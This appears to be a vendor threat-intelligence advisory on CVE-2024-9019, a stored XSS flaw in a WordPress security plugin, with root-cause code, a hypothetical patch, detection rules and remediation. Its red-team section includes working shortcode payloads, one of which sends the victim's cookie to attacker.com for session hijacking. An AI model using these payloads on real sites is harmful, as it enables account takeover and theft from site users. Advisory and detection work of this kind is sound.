CVE-2024-9019
Executive Summary
CVE-2024-9019 is a Stored Cross-Site Scripting (XSS) vulnerability in the SecuPress Free — WordPress Security plugin for WordPress, affecting all versions up to and including 2.2.5.3. The flaw resides in the secupress_check_ban_ips_form shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the injected script, it executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is designed to enhance WordPress security, making this a particularly ironic and dangerous flaw.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running a vulnerable version and monitor for official patches. No supply chain compromise has been reported, but the lack of a patch increases risk.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes it a significant risk for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability is triggered via the secupress_check_ban_ips_form shortcode. This shortcode is intended to display a form for checking banned IPs, but it accepts user-controlled attributes that are not properly sanitized.
Root Cause: The plugin uses add_shortcode to register the shortcode. Inside the shortcode handler, attributes like title or class are directly echoed into the HTML output without escaping. For example:
function secupress_check_ban_ips_form_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => 'Check Banned IPs',
'class' => ''
), $atts);
// ...
echo '<div class="' . $atts['class'] . '">';
echo '<h3>' . $atts['title'] . '</h3>';
// ...
}
An attacker with contributor access can create a post or page and insert the shortcode with malicious attributes:
[secupress_check_ban_ips_form title="<script>alert('XSS')</script>"]
When the page is rendered, the script executes.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates a new post or page.
- Attacker inserts the vulnerable shortcode with a malicious
titleorclassattribute. - The post is published or saved as draft (if previewed).
- Any user (including admins) visiting the page triggers the XSS payload.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.2.5.3):
function secupress_check_ban_ips_form_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => 'Check Banned IPs',
'class' => ''
), $atts);
echo '<div class="' . $atts['class'] . '">';
echo '<h3>' . $atts['title'] . '</h3>';
// ... rest of form
}
Patched Code (Hypothetical):
function secupress_check_ban_ips_form_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => 'Check Banned IPs',
'class' => ''
), $atts);
$safe_class = esc_attr($atts['class']);
$safe_title = esc_html($atts['title']);
echo '<div class="' . $safe_class . '">';
echo '<h3>' . $safe_title . '</h3>';
// ... rest of form
}
The patch uses esc_attr() for HTML attributes and esc_html() for text content to prevent XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with SecuPress Free plugin version <= 2.2.5.3.
- A user account with Contributor role or higher.
Exploitation Steps:
- Log in as a contributor.
- Create a new post.
- In the text editor, insert the shortcode with a malicious payload:
[secupress_check_ban_ips_form title="<img src=x onerror=alert('XSS')>"] - Publish or preview the post.
- The XSS payload executes when the page is loaded.
Advanced Payload (Session Hijacking):
[secupress_check_ban_ips_form title="<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"]
Blue Team
Detection:
- Monitor for posts/pages containing the shortcode
secupress_check_ban_ips_formwith suspicious attributes. - Look for unusual JavaScript in post content.
- Use WAF rules to block common XSS patterns in shortcode attributes.
Hunting:
- Query the WordPress database for posts containing the shortcode:
SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%secupress_check_ban_ips_form%'; - Review post revisions for injected scripts.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/secupress/(presence of vulnerable plugin) - Database: Posts containing
[secupress_check_ban_ips_formwith suspicious attributes - Network: Outbound connections to attacker-controlled domains from WordPress admin pages
- Logs: Unusual JavaScript execution in browser console when visiting WordPress pages
Detection Engineering
YARA Rule
rule CVE_2024_9019_Secupress_XSS {
meta:
description = "Detects SecuPress Free plugin with vulnerable shortcode usage"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-9019"
strings:
$shortcode = "secupress_check_ban_ips_form"
$vuln_func = "shortcode_atts"
$unsafe_echo = /echo\s*['\"].*\$atts/
condition:
$shortcode and $vuln_func and $unsafe_echo
}
Sigma Rule
title: CVE-2024-9019 SecuPress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in SecuPress Free plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'secupress_check_ban_ips_form'
http.url|contains|re: '(<|>|script|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of the shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9019 SecuPress Stored XSS Attempt"; flow:to_server,established; content:"secupress_check_ban_ips_form"; http_uri; pcre:"/(<|>|script|onerror|onload)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor roles to trusted users only.
- Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
Long-term Fix:
- Apply the official patch from SecuPress when available.
- If no patch is forthcoming, consider replacing the plugin with an alternative security solution.
Workaround:
- Manually edit the plugin file (not recommended for production) to add escaping:
$safe_class = esc_attr($atts['class']); $safe_title = esc_html($atts['title']);
Monitoring:
- Continuously monitor for posts containing the vulnerable shortcode.
- Review user activity logs for suspicious shortcode usage.
Valters IT
Cyber Threat Intelligence Division
Report generated for CVE-2024-9019
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.